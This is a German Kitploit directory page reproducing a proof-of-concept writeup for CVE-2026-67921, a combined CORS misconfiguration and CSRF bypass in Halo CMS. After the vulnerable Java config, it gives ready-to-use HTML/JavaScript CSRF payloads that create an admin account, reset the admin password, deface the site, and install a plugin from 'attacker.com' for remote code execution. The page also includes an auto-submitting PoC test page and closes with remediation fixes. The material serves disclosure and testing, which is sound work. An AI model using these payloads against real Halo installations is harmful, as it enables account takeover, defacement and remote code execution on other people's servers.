Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheit
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Proof-of-concept, das eine kombinierte CORS-Fehlkonfiguration und CSRF-Schutzumgehung in Halo CMS demonstriert und Cross-Site-Request-Forgery-Angriffe ermöglicht, um Admin-Benutzer zu erstellen, Passwörter zu ändern, Plugins zu installieren und Inhalte zu modifizieren.

Repository anzeigen
vor 16 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-67921: Halo CMS CORS-Fehlkonfiguration + CSRF-Schutz-Umgehung – Kombinierter Angriff

Zusammenfassung

Eine kritische kombinierte Angriffsschwachstelle existiert in Halo CMS bis Version 2.25.4 aufgrund von zwei Sicherheitsfehlkonfigurationen:

  1. CORS-Fehlkonfiguration: Die CORS-Richtlinie erlaubt * (beliebige Herkunft) mit credentials: true
  2. CSRF-Schutz-Umgehung: Alle API-Endpunkte (/api/**, /apis/**) sind vom CSRF-Schutz ausgenommen

In Kombination ermöglichen diese einem Angreifer Cross-Site-Request-Forgery-Angriffe von beliebiger Herkunft, wodurch der Same-Origin-Policy-Schutz umgangen wird, den CORS durchsetzen soll.

CVSS v3.1-Score: 9.3 (Kritisch)
CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Permissive Cross-domain Policy) CVE-2026-67921

CVE-ID:

Betroffene Versionen

  • Halo CMS ≤ 2.25.4
  • Alle Versionen mit aktiviertem CORS und deaktiviertem CSRF für API-Routen

Schwachstellendetails

Schwachstelle 1: CORS-Fehlkonfiguration

Datei: application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← BELIEBIGE Herkunft
    configuration.setAllowCredentials(true);                // ← Cookies erlauben
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

Auswirkung: Jede Website kann authentifizierte Anfragen an die Halo-API mit den Cookies des Benutzers senden.

Schwachstelle 2: CSRF-Schutz-Umgehung

Datei: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← API-Routen vom CSRF ausgenommen!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

Auswirkung: API-Anfragen erfordern keine CSRF-Tokens, selbst wenn sie über Sitzungscookies authentifiziert sind.


Angriffsmechanismus

Warum diese Kombination gefährlich ist

SchutzAlleinKombiniert
CORS *Blockiert Credentials (Browser erzwingt)Credentials erlaubt!
Kein CSRFGeschützt durch Same-Origin-PolicyDurch CORS umgangen!
ErgebnisSicherVollständiges CSRF

Der Angriffsablauf

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Angreifer hostet bösartige Seite auf evil.com              │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Browser des Opfers besucht evil.com                        │
│  → Formular sendet automatisch an Halo-API                  │
│  → Browser fügt Sitzungscookie automatisch hinzu            │
│  → CORS: Origin * + credentials: true → Anfrage erlaubt!    │
│  → CSRF: /apis/** ausgenommen → Kein Token erforderlich!    │
│  → Anfrage erfolgreich mit den Rechten des Opfers           │
└─────────────────────────────────────────────────────────────┘

Ausnutzungsszenarien

Szenario 1: Admin-Benutzer erstellen

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Szenario 2: Admin-Passwort ändern

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

Szenario 3: Bösartiges Plugin installieren (RCE)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

Szenario 4: Website-Inhalte ändern

root@kitploit:~
<html>
<body>
<script>
  // Website-Titel ändern
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

Proof of Concept

Grundlegender CSRF-Test

Erstellen Sie csrf-test.html:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Diese Seite versucht, Halo-Einstellungen zu ändern, sobald sie geladen wird.</p>

<script>
// CSRF testen, indem der Website-Titel geändert wird
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">ERFOLG! CSRF-Angriff funktioniert.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Fehlgeschlagen: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Verifizierungsschritte

  1. Öffnen Sie csrf-test.html in einem Browser, während Sie bei Halo angemeldet sind
  2. Prüfen Sie, ob sich der Website-Titel geändert hat
  3. Prüfen Sie die Browser-Konsole auf CORS-Header:
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Auswirkungsanalyse

AngriffAuswirkungSchweregrad
Admin-Benutzer erstellenVollständige SystemkompromittierungKritisch
Admin-Passwort ändernKontolibernahmeKritisch
Bösartiges Plugin installierenRemote Code ExecutionKritisch
Inhalte ändernDefacementHoch
Daten löschenDatenverlustHoch
Daten stehlenInformationsoffenlegungHoch

Behebung

Fix 1: CORS-Ursprünge einschränken

root@kitploit:~
// Platzhalter durch spezifische Ursprünge ersetzen
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

Fix 2: CSRF für API-Routen aktivieren

root@kitploit:~
// API-Ausnahmen aus dem CSRF-Matcher entfernen
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Fix 3: Bearer-Token-Authentifizierung verwenden

Für API-Endpunkte ist die Bearer-Token-Authentifizierung gegenüber Sitzungscookies zu bevorzugen, da diese nicht anfällig für CSRF ist.


Referenzen

  • Anbieter: https://github.com/halo-dev/halo
  • CWE-352: https://cwe.mitre.org/data/definitions/352.html
  • CWE-942: https://cwe.mitre.org/data/definitions/942.html

Zeitplan

  • Entdeckungsdatum: 2026-07-10
Tool herunterladen